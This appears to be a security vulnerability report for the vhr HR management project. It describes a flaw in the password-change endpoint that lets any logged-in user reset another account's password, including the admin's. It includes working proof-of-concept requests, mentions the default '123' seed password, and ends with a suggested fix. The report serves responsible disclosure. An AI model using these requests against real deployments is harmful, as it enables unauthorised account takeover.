IDOR in PUT /hr/pass allows any authenticated user to change any other user's password
reported via email on 3 June 2026, no response:
I'm writing to report a second insecure direct object reference vulnerability in vhr (微人事), confirmed on the current master branch (commit 03abbd3), related to the password-change endpoint.
Summary
The PUT /hr/pass endpoint reads the target account's hrid from the request body without verifying that it matches the authenticated user's own id. Any authenticated HR user who knows a target account's current password can use this endpoint to change that account's password and take it over -- including the admin account.
Root cause
HrInfoController.updateHrPasswd (vhr-web/.../controller/HrInfoController.java, lines 49-57) reads hrid from the client-supplied JSON body and passes it directly to hrService.updateHrPasswd(oldpass, pass, hrid). The service fetches the target user by hrid, bcrypt-verifies oldpass against the target's stored hash, and -- if it matches -- writes pass as the new password. The authenticated user's identity is never consulted.
The URL /hr/pass is not protected by any menu-role mapping, so any session with ROLE_LOGIN (any authenticated user) can reach it.
PoC
Step 1 -- Log in as a low-privilege user (hanyu, id=10, ROLE_recruiter):
POST /doLogin body: {"username":"hanyu","password":"123","code":"<captcha>"}
-> HTTP 200, session confirmed, id=10 in response.Step 2 -- Change admin's (id=3) password, supplying admin's current password ("123") in the body:
PUT /hr/pass Cookie: JSESSIONID=<hanyu session>
body: {"hrid":3,"oldpass":"123","pass":"attacker_new_password"}
-> HTTP 200 {"status":200,"msg":"更新成功!","obj":null}Step 3 -- Confirm in MySQL:
SELECT LEFT(password,20) FROM hr WHERE id=3;
-> $2a$10$MhgjXW1F/vWki... (new bcrypt hash, different from before)Admin can no longer log in with the original password; attacker now controls the admin account.
Note: in deployments using the default seed data, all accounts (including admin) use password "123", so any authenticated user can exploit this without additional information.
Suggested fix
Bind hrid to the authenticated principal's own id, or require re-authentication rather than oldpass for cross-account operations:
Hr principal = (Hr) authentication.getPrincipal();
Integer hrid = principal.getId(); // never from request bodySource: lenve/vhr